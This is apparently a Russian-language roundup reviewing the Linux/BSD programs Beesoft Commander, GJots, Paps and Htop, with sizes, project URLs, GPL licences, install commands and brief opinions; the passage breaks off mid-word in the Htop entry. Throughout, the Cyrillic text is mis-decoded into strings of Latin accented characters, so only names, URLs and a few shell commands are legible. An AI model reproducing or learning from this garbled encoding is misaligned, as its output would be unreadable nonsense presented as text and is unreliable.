Beesoft Commander 2.03 POSIX (*BSD, Linux, Solaris...) ðàçìåð (èñõîäíèê â tar.gz): 113 Êá. http://www.beesoft.org/index.html Ëèöåíçèÿ: GNU GPL Ôàéëîâûé ìåíåäæåð, îñíîâàííûé íà Qt. ßçûê ðàçðàáîòêè — C++. Äâå ïàíåëè, â êîòîðûõ äîâîëüíî ìåäëåííî îáíîâëÿþòñÿ êîëîíêè ñ èíôîðìàöèåé î ïðàâàõ äîñòóïà. Ôîí æåëòûé, áóêâû ìàëåíüêèå (âïðî÷åì, ó ìåíÿ íåêîòîðûå øðèôòû ãëþ÷àò èç-çà îñîáåííîñòåé ïîääåðæêè Radeon’îâ â X.Org, òàê ÷òî ìîæåò áûòü ýòî âèíà ìîåé êîíôèãóðàöèè). Íàñòðîåê íåò. Êîíòåêñòíîãî ìåíþ íåò. Åñòü ñòàíäàðòíûé íàáîð îïåðàöèé íàä êàòàëîãàìè è ôàéëàìè (êîïèðîâàíèå, óäàëåíèå è ïðî÷åå), à òàêæå íåñêîëüêî ôóíêöèé âûäåëåíèÿ: ïîìåòèòü èëè ñíÿòü îòìåòêè ïî çàäàííîé ïîëüçîâàòåëåì ìàñêå, ïëþñ ðåâåðñ âûäåëåíèÿ. Ðàáîòàþò ñòàíäàðòíûå KDE’øíûå ôàéëîâûå àññîöèàöèè ïðîãðàìì ñ ðàñøèðåíèÿìè. Óñòàíîâêà èç èñõîäíèêà äîâîëüíî ïðîñòà: çàïóñêàåøü íà âûïîëíåíèå ñêðèïò generator.pl, è îí çàäåéñòâóåò qmake, ÷òîáû ñîáðàòü ïðîãðàììó. Íî íå óñòàíàâëèâàåò. Ýòî íàäî äåëàòü âðó÷íóþ. Âûâîä: õîòåëîñü áû áîëüøå ôóíêöèé è áûñòðîäåéñòâèÿ, êàê â Krusader. Õîòÿ, ñ äðóãîé ñòîðîíû, ìèíèìàëèçì Beesoft Commander’à ìîæåò áûòü êðàåóãîëüíûì êàìíåì êîíöåïöèè ýòîé ïðîãðàììû. Âîò åñòü æå ïðîñòîé è ïîíÿòíûé GNOME. È åñòü ïîëüçîâàòåëè, êîòîðûì íóæíî î÷åíü ìàëî, — ïàðà ôóíêöèé è ïàðà êíîïîê. È îíè ñ ýòèì ïðîäóêòèâíî ðàáîòàþò.

GJosts POSIX (*BSD, Linux, Solaris...) ðàçìåð (èñõîäíèê â tar.gz): 80 Êá. http://bhepple.freeshell.org/gjots/ Ëèöåíçèÿ: GNU GPL Ðàíüøå GJosts áûëà íàïèñàíà íà ÿçûêå Ñè. À òåïåðü — íà Python. È óñòàíàâëèâàòü åå íàäî òîæå ìåòîäîì, êîòîðûé ëþáÿò ïðîãðàììèñòû íà Python. Âîò òàê: «python setup.py install». À çà÷åì óñòàíàâëèâàòü? Ïîòîìó ÷òî ïîëåçíî. Ïîëó÷èøü áëîêíîò, ãäå ìîæíî õðàíèòü çàïèñè â èåðàðõè÷íîì âèäå.  âèäå äåðåâà. Ñîçäàâàé óçëû-ðóáðèêè, ïèøè òåêñò. Åñòü ôóíêöèè áûñòðîé âñòàâêè äàòû, åñòü ñîðòèðîâêà. Ðàäóåò îêîøêî ïîèñêà. Òàì òåáå è ïîèñê ïî ðåãóëÿðíûì âûðàæåíèÿì (çàäàåøü øàáëîí ñ ìåòàñèìâîëàìè *, ? è òàê äàëåå), è ïîèñê ïî ðåãèñòðó, è äàæå ôóíêöèè çàìåíû ðåàëèçîâàíû. Çàìå÷ó, ÷òî íå âñå òåêñòîâûå ðåäàêòîðû ìîãóò ïîõâàñòàòüñÿ ïîèñêîì ïî ðåãóëÿðíûì âûðàæåíèÿì. GJots ïîñòàâëÿåòñÿ ñîâìåñòíî ñ åùå äâóìÿ óòèëèòàìè. Ýòî gjots2html, êîòîðàÿ ìîæåò êîíâåðòèðîâàòü ôàéë îò gjots â ôîðìàò HTML, è áîëåå ñïåöèàëèçèðîâàííàÿ gjots2docbook, ñïîñîáíàÿ ïåðåâåñòè gjots-ôàéë â ôîðìàò Docbook. Gjots ìîæíî èñïîëüçîâàòü êàê ðåäàêòîð äîêóìåíòîâ, ãäå íàäî èìåòü èåðàðõè÷íîå ïðåäñòàâëåíèå òåêñòà. Åñòü äàæå óòèëèòà îáðàòíîé êîíâåðòàöèè èç Docbook â GJots — docbook2gjots. GJots ïîñòàâëÿåòñÿ ñ ïîäðîáíûì ðóêîâîäñòâîì, êîòîðîå îòêðûâàåòñÿ â òîé æå GJots. Íó, à ÷òîáû óäàëèòü GJots, ñîáðàííóþ èç èñõîäíèêà, â åå êàòàëîãå ñ èñõîäíèêàìè ñëåäóåò çàïóñòèòü íà âûïîëíåíèå ñêðèïò uninstall.sh. Òîëüêî âîò íå óâåðåí, ÷òî ýòî ñòîèò äåëàòü. Âåäü ïðîãðàììà ïîëåçíàÿ.  íåé óäîáíî õðàíèòü âñÿêèå ññûëêè, çàïèñêè è ïðî÷åå.

150

Paps POSIX (*BSD, Linux, Solaris...) ðàçìåð (èñõîäíèê â tar.gz): 60 Êá. http://paps.sourceforge.net/ Ëèöåíçèÿ: GNU GPL Èíòåðåñíàÿ óòèëèòêà äëÿ çàïóñêà èç êîìàíäíîé ñòðîêè. Èñïîëüçóÿ ìåõàíèçì Pango (âõîäèò â áèáëèîòåêó GTK+2), ìîæåò ïåðåâåñòè ëþáîé òåêñòîâûé ôàéë â ãîòîâûé ê ïå÷àòè PostScript. Äëÿ ðóññêèõ è èíîÿçû÷íûõ òåêñòîâ èñïîëüçóé êîäèðîâêó UTF-8, òàê êàê îíà ðîäíàÿ äëÿ Pango. ×òîáû ïîëó÷èòü PSôàéë, íàäî äàòü êîìàíäó: «paps òåêñòîâûé_ôàéë > âûõîäíîé_ôàéë.ps». Íàïîìíþ, ÷òî ñèìâîëîì «>» ìû ïåðåíàïðàâëÿåì âûâîä ñ êîíñîëè â ôàéë. Óòèëèòà îñíàùåíà ðÿäîì ïîëåçíûõ îïöèé êîìàíäíîé ñòðîêè, òàê ÷òî ìîæíî óñòàíàâëèâàòü êîëè÷åñòâî êîëîíîê, øðèôò (ïî óìîë÷àíèþ èñïîëüçóåòñÿ Sans), ðàçìåð áóìàãè, ãðàíèöû ïå÷àòàåìîé îáëàñòè è îðèåíòàöèþ ïå÷àòè. Ñóäÿ ïî êîììåíòàðèÿì â èñõîäíèêå, paps ñî âðåìåíåì ïðåâðàòèòñÿ â áèáëèîòåêó, êîòîðóþ ìîæíî áóäåò èñïîëüçîâàòü â äðóãèõ ïðîãðàììàõ. Âïðî÷åì, ëèöåíçèÿ GPL íå ìåøàåò äåëàòü ýòî ïðÿìî ñåé÷àñ, àäàïòèðóÿ êîä ïîä êàêîé-íèáóäü ñâîé ïðîåêò.  ýòîì ñëó÷àå èñõîäíèê íàäî áóäåò íåñêîëüêî èñïðàâèòü, ïîñêîëüêó ïðè ýòîì âîçíèêàåò ðÿä îøèáîê, íå îêàçûâàþùèõ âëèÿíèå íà ðàáîòó paps êàê îòäåëüíîé ïðîãðàììû.

Htop POSIX (*BSD, Linux, Solaris...) Ðàçìåð (èñõîäíèê â tar.gz): 128 Êá http://freshmeat.net/projects/htop/ Ëèöåíçèÿ: GNU GPL Ýòó ìàëåíüêóþ êîíñîëüíóþ óòèëèòó, îñíîâàííóþ íà ncurses, ìîæíî ñ÷èòàòü óñîâåðøåíñòâîâàííîé âåðñèåé ïðîãðàììû top. Âûâîäèòñÿ ñïèñîê çàïóùåííûõ ïðîöåññîâ. Äåéñòâóåò âåðòèêàëüíàÿ è ãîðèçîíòàëüíàÿ ïðîêðóòêà. Ïðîöåññû èç ñïèñêà ìîæíî óáèâàòü, ïðîñòî âûáèðàÿ èõ è íàæèìàÿ çàòåì F9 (ñ ïîäòâåðæäåíèåì). Ýòî âìåñòî òîãî ÷òîáû ñíà÷àëà ñìîòðåòü pid ïðîöåññà â êîíñîëüíîì âûâîäå òðàäèöèîííîé top, à çàòåì äàâàòü â êîíñîëè êîìàíäó «kill <òàêîé-òî pid>». Êëàâèøàìè F7 è F8 ìîæíî èçìåíÿòü ïðèîðèòåò ïðîöåññà (nice). Ñóùåñòâó